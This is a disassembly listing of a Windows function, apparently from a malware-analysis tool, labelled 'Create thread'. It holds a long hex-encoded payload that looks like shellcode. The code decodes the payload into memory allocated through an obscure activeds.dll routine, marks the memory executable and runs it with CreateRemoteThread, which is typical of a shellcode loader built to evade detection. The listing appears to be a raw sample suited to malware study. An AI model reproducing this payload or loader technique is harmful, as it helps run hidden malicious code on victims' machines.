Function at 0x1400012f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x96210
call fcn.140001960
sub rsp, rax
mov rax, qword [0x14009b008]
xor rax, rsp
mov qword [rsp + 0x96200], rax
mov rsi, rcx
lea rdx, str.505351525657555441504151415241534154415541564157415341f7c382d33675415beb023983e84bb00400bf4866b764c9e80300532301e510780e0041303c0f41023c0fe2f6ea82f522110e00772a55243bbbf3286da5db50280fdd4df4a6958a421ae9f6f2ec6b5a3201da1a92f45ad98bb584939717a4fd3a4386cc85501647ab8b8b8b0b3b84454f4e4d2268ddf2b8b576921819e59447f6ae1ca5e72141454545b1eb93d8dd825252525252525252520aa6a6a698f76c201c78f5cba7696c33bc7c71f6d5aa98feb1a4b392ee0e23a10639403a955437da7edce5107d7a3462d308586e067c55970c0d0062dd3f313ecee3062c1ec8c6c893e89fa690d19aea2f9e12da32be7ca6165eef5e8bcbf1fe814953fd79edd880b6c536a281c4a2ea6b99d6d6166ae2e7e7e7e7e7e7e7e7e7973b3eeb82726c2f1f100c070707010202fab0b2b2b2b2b2b05da2a4a484949494949494121313131313030303030101f9fcf8fafafafafaf0f5f1f3f3f3f3f3e3d09c9494949090909090908c8e4e2c2d2d0d1d1d1d1d1d1d1d0d0d0d0d0d0d0d0dedfdfdfdfdfdfdfdededededededed918a886878787878b6ada905575757573b3c38b0d4d4d4d4d4d4d4d4d4d4d4d4d48a8f6f331717171717171717171717d7a7a29a9690909090909090909090909090909090909090909090909090909090909090909090904ea1a242323232323232323232323232320c0fef9f99999999999999999999999999999999999999999999999999999587e89657ef141410908d8e8e6e7e7e7e7e7a797971757575757575757575757575757575555595f1e308392145df0a0af00c0c0ccceae9e915ebebebe3e1e2e2e2e2e2e2e2e2e2e2e2e2e2e2a2a222625eb9ed8e33c8c8c87066676767474343bbcdcdcdcdc1c5c5c5c5c5c5c5c5c5c5c5c5c5c5858505c1b336771f370dd8d044606060601e1b1bd3f5f5f5017377777777777777777777777777773737b7f7e50c32d764f2278747484848a8d6d3d3d3c3c3c3831b1f1f1f1f1f1f1f1f1f1f1f1f1f9fdfdfdf19bbbf2cc2fa52c48d9a065f97b48fe019a0a177a982f7881e400cd0e95558dc1ee0a55aa9b7c63df0e66e42c7a354e0d9d4470150e7b59be4695913e37d63796c3ac0d950e2e37362eaec64d71244f77f9b509ef72b9609f91b0cd466cc174cca36301dfe1addfb65bb4fa3021b5f08284da13504a809c403357ffcad3bbcb53e46df0572e47bfceb84b5bdecdadd92a81cba78e673a8f86771bb1a3cf11c31047d91195081b46f54b8c120fec59a73bf62c7b1f7d4335b4d00d9b66efc14fc41fd4c3403c292c8cb4596a101935eab97d7f0fd4a3fcfbbec6b743d2ac3c80d371051871fa304d02e95f7b65c8407784a575f2510a4eae29b314863b97dddbee5ef2bc5cb0722d532423b95401e757f98d5d03e98c8102400d3da69dc1d884672808526e555404f851c8d68761faf9696fc7e1c80563cd8ca88b5064007bfe27ebe4ee4ce35b06bf1d9a41fe23a36c6517efdc6ded9cc0db76ab4a88b95156d8b901bf7848923224fbe0ea090677649cb51207d1d400f78cab774eb9507c67d6565656565e1917ebfd44718913219dad360d39c1db6b5b84a15355113edd1fbbd070896c89f4780f1215f5482ca0edb0ac6accffb9794cc20ead1f77e16d9f2f326207141e9eb388213a23e865ddfe481540fd84d6acc5ad6e56b4a786579a2106a0c9618707e63456857f7b7124293fe132bfffd76306ed23fad545ef4fbac426154e24e5bdef630574793ebafe7b029f70993862985ac1bc84a177a205a6ed53ce8968a5151407d4e6c7cf749b11d4bca8c1ce2df17803d54f30079dd4dea37eba400fdf1e871739bba4fe5894a9fc6ca982164fc8cf5103279a530b625b8385e79702c3d6afed8a5e04856c2b871066f476694737e1484050534b61e15ab93c2c31fb2b4c7af2efce72ad61681e15748fe2eaa02f2860ef7c31b624e4087c057201c49d4aa89f9bde9d71cb06eb3b04fa2d973995af2033aa52d97af2510faedea3f6daddafc0e05c865dbf4d43c3e302ee6dac2461379663642a2a5ab1542e3e707d9003f2cfd59295e0b7738647145dc3dbfd7f64b74a352171f08ac979f8e220309988f14890d7d6aa3c05b04b9da596836a29851e074e257b654d769d57029b4288a49c88a1bb7ba28f0b2de06d48f1a5c5a4411689241629bb444c33ae19ac8719629b034ac24bdb960868bf99192c0f5f98a4acdd88764cd352cf97e513fd209d08bdb62805dbc3ea07ff0296eaac0143725d40bd28513182918afe9d8538d483e490f527d13be25f4ef2d67e383f09d8dbed6637fd3c578d8a8d9742e1db934ba4dcff05fa6534beadd63a82c1cae2f4b0fd9aff08b2327a7d7c03ca3ec2a6c4826e117a2ed0bdec0f36e4ceaa54677a65118309f960f820674655affa27fbc050cc9c663de8b0c95dc911abbeca3608756381212bbc03c9799378e0a626e10abaa28b35cb98ee4ea8854328177e39b20438ef71b9852d1f9f829ab3c7a1a811d6b6b3b3026e38b2030b291ce35aa24bdc272fadf8f619f02d6056b65c9d4d96685fa7812d04d85b126adae70b327d6f2c093c5d465fb6b744d1c4a6f68e01200ff89098dc9df0994491394ccab4c449ed5f1479dd1f2409a2af0360bc69cf9a49259ef61ee3f7ad79aef5665046ac24982565107f6830357e8c0fdcefa1aaec707fde757233c4c1911f634d3f349801b56c04671441c075858803ba638e9d63b864181bab9ef60837b5d560ee908f8b549dd9c4ec786f38e8ac7cc9ddb81237066ae8152062d56b0b2d12836861604e1903522afa23f2a37e061cb9a84c0491d8782f39fdc9cab
lea rcx, [rsp + 0x90]
mov r8d, 0x96167
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.activeds.dll
mov qword [rsp + 0x50], 0x96166
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.AllocADsMem
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x96166
call rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x68]
xor r8d, r8d
mov rcx, rax
mov rdx, rdi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x20
call qword [sym.imp.api_ms_win_core_memory_l1_1_4.dll_QueryVirtualMemoryInformation]
cmp byte [rsp + 0x90], 0
je 0x140001416
xor r8d, r8d
mov r9d, 0x4b0b3
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rsp + r8*2 + 0x90]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x1400013d6
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x1400013cc
lea eax, [rcx - 0x37]
jmp 0x1400013d6
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x140001416
lea eax, [rcx - 0x57]
movzx edx, byte [rsp + r8*2 + 0x91]
lea ecx, [rdx - 0x30]
cmp cl, 9
jbe 0x1400013ff
lea ecx, [rdx - 0x41]
cmp cl, 5
ja 0x1400013f4
lea ecx, [rdx - 0x37]
jmp 0x1400013ff
lea ecx, [rdx - 0x61]
cmp cl, 5
ja 0x140001416
lea ecx, [rdx - 0x57]
shl al, 4
or al, cl
mov byte [rsp + r8 + 0x90], al
inc r8
cmp r8, r9
jl 0x1400013b0
jmp 0x140001419
xor r9d, r9d
lea rax, [rsp + 0x60]
mov rdx, rdi
lea r8, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call qword [0x14009b088]
test eax, eax
jns 0x140001446
mov eax, 0xfffffffe
jmp 0x1400014c3
lea rax, [rsp + 0x48]
mov dword [rsp + 0x48], 0
mov r9d, 0x40
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x50]
mov qword [rsp + 0x40], rdi
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [0x14009b078]
xor edx, edx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov r9, rdi
xor r8d, r8d
mov qword [rsp + 0x20], rsi
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x96200]
xor rcx, rsp
call fcn.1400019c0
mov rsi, qword [rsp + 0x96228]
add rsp, 0x96210
pop rdi
ret